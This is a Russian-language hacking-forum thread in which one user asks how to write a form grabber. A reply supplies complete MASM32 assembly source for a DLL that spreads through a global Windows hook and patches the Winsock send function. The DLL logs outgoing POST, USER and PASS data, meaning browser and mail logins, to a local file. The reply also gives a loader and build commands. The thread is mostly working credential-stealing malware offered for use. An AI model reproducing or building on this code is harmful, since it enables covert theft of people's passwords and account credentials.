• XSS.stack #1 – первый литературный журнал от юзеров форума

Формграббер

gtx

CD-диск
Пользователь
Регистрация
06.09.2005
Сообщения
13
Реакции
0
Доброе время суток!
Кому не лень, расскажите пожалуйста основные схемы разработки формграббера.
Или поделитесь исходником(не исходником всего троя, а алгоритмом именно формграббера)
ps про кейлоггеры не пишите, уже разобрался как они работают
 
чувак купи себе спецХ за сентябрь. там все расписано. тема номера SpyWare
 
Теория:
Формграббер служит для перехвата паролей и логинов, вводимые в формах браузера. Это намного удобнее, чем кейлогер, так как бывает очень трудно разбирать его большие логии, или пользователь может вставлять пароли из буфера.
Какие данные отправляются при входе пользователя, например, на http://hackzona.ru/?

POST /hz.php?name=Your_Account HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://hackzona.ru/index.php
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: hackzona.ru
Content-Length: 78
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: lang=russian; hotlog=1

username=hidden&user_password=SeCrET&random_num=832759&gfx_check=546357&op=login

Из этого запроса видно, что пользователь – hidden, а пароль – SeCrET.

Или проверка почты программой Outlook Express:
Сначала отправка имени пользователя:
USER hidden
Затем отправляться пароль:
PASS MyP@ss

Делаем выводы – для того, чтобы нам собрать логины и пароли без лишней лабуды, нам надо перехватывать отправляемые данные, которые начинаются на POST, USER и PASS

Приступим к написанию перехватчика:
Писать лучше всего на ассемблере, для этого, если еще нет, нужно скачать пакет MASM32.
Код DLL будет выглядеть так:

.386
.model flat,stdcall
option casemap:none
include masm32includewindows.inc
include masm32includeuser32.inc
include masm32includekernel32.inc
includelib masm32libuser32.lib
includelib masm32libkernel32.lib
include masm32includemasm32.inc
includelib masm32libmasm32.lib
include masm32includews2_32.inc
includelib masm32libws2_32.lib
SetGlobalHook proto
SetHook proto

.const
rz db 13,10
lib db "ws2_32.dll",0 ;dll-ка
funcname db "send",0 ;перехватываемая функция
fn db "C:send.txt",0 ;Файл в который будут записаны данные
okw db "------>",0 ; для красоты :)

.data?
ModuleFileName db 4096 dup (?) ;сюда будет записано имя проги, посылающей данные
e dword ?
HI dword ?
TrId dword ?
R db 512 dup (?)

OldCode STRUCT
one dword ?
two word ?
OldCode ENDS

far_jmp STRUCT
PuhsOp byte ?
PushArg dword ?
RetOp byte ?
far_jmp ENDS

JmpMba far_jmp
OldMba OldCode
MbaAdr dword ?

.code
; True функция
Truesend proc s: DWORD, b:DWORD, lb:DWORD, h:DWORD
LOCAL Written: dword
invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, SizeOf OldCode,addr Written
invoke send,s,b,lb,h
push eax
invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, SizeOf far_jmp,addr Written
pop eax
ret
Truesend endp

;Функция записи логов в файл (имя приложения и посылаемые им данные)
filewr proc,b_:DWORD, lb_:DWORD
LOCAL hFile: dword
LOCAL ln: dword
LOCAL t: dword
invoke CreateFile,ADDR fn,
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,
NULL
mov hFile,eax
invoke SetFilePointer,hFile, 0, 0, FILE_END
invoke GetModuleFileName,NULL,addr ModuleFileName,sizeof ModuleFileName
mov t, eax
invoke WriteFile,hFile,addr ModuleFileName, t,addr ln,NULL
invoke WriteFile,hFile,addr okw, 7,addr ln,NULL
invoke WriteFile,hFile,addr rz, 2,addr ln,NULL
invoke WriteFile,hFile,b_, lb_,addr ln,NULL
invoke WriteFile,hFile,addr rz, 2,addr ln,NULL
invoke WriteFile,hFile,addr rz, 2,addr ln,NULL
invoke CloseHandle, hFile
ret
filewr endp

;обработчик – сохраняем данные, которые начинаются на POST, USER и PASS
newsend proc s: DWORD, b:DWORD, lb:DWORD, h:DWORD
mov edi, b
.IF (dword ptr [edi] == 'TSOP')
invoke filewr, b, lb
.ELSEIF (dword ptr [edi] == 'RESU')
invoke filewr, b, lb
.ELSEIF (dword ptr [edi] == 'SSAP')
invoke filewr, b, lb
.ENDIF
invoke Truesend,s,b,lb,h
ret
newsend endp

SetHook proc
LOCAL hUser32: dword
LOCAL Bytes: dword
invoke GetModuleHandle,addr lib
mov hUser32, eax
invoke GetProcAddress,hUser32,addr funcname
mov MbaAdr, eax
invoke ReadProcessMemory,INVALID_HANDLE_VALUE, MbaAdr, addr OldMba, SizeOf OldCode,addr Bytes
mov JmpMba.PuhsOp, 0068h
mov JmpMba.PushArg, offset newsend
mov JmpMba.RetOp, 00C3h
invoke WriteProcessMemory, INVALID_HANDLE_VALUE, MbaAdr,addr JmpMba, SizeOf far_jmp,addr Bytes
ret
SetHook endp

MessageProc proc nCode:DWORD,wparam:DWORD,lparam:DWORD
invoke CallNextHookEx, 0, nCode, wparam, lparam
xor eax, eax
ret
MessageProc endp

SetGlobalHookProc proc
invoke SetWindowsHookEx, WH_GETMESSAGE, addr MessageProc, HI, 0
invoke Sleep, INFINITE
ret
SetGlobalHookProc endp

SetGlobalHook proc
LOCAL hMutex: dword
invoke CreateMutex, 0,0,0
mov hMutex, eax
invoke GetLastError
.IF eax==0
invoke CreateThread,0,0, addr SetGlobalHookProc, 0, 0, TrId
.ELSE
invoke CloseHandle, hMutex
.ENDIF
ret
SetGlobalHook endp

DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
push hInstance
pop HI
.if reason==DLL_PROCESS_ATTACH
invoke SetGlobalHook
invoke SetHook
.endif
mov eax,TRUE
ret
DllEntry endp

End DllEntry

ассемблиpуем так:
masm32binml /c /coff hook.asm
линкуем так:
masm32binlink /DLL /SUBSYSTEM:WINDOWS "hook.obj"
Теперь мы имеем dll-ку размером всего 3,5 КБ. Остается загрузить ее:

.386
.model flat, stdcall
option casemap:none
include masm32includewindows.inc
include masm32includekernel32.inc
includelib masm32libkernel32.lib
.data
dll db "hook.dll",0
.code
start:
invoke LoadLibrary,addr dll
invoke Sleep, -1
invoke ExitProcess,0
end start

В итоге мы имеем лог такого вида:
[Путь к программе] ------>
[отправленные данные]

Недостатки этого способа:
Неизвестно на какой хост отправляются данные(хотя по POST запросам видно url).
Большинство банковских служб, интернет-магазинов и других ресурсов работают через SSL/TSL соединение, и все данные передаются в шифрованном виде. :thumbsup:
 
Во-первых, противно читать когда не указан первоисточник...
Во-вторых, у меня чисто непонятки - ставится хук на WH_GETMESSAGE, то есть на любой вызов функции GetMessage... Мало того, что не оптимально и палевно, но мне не понятно откуда идёт выцепление POST, USER, PASS?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх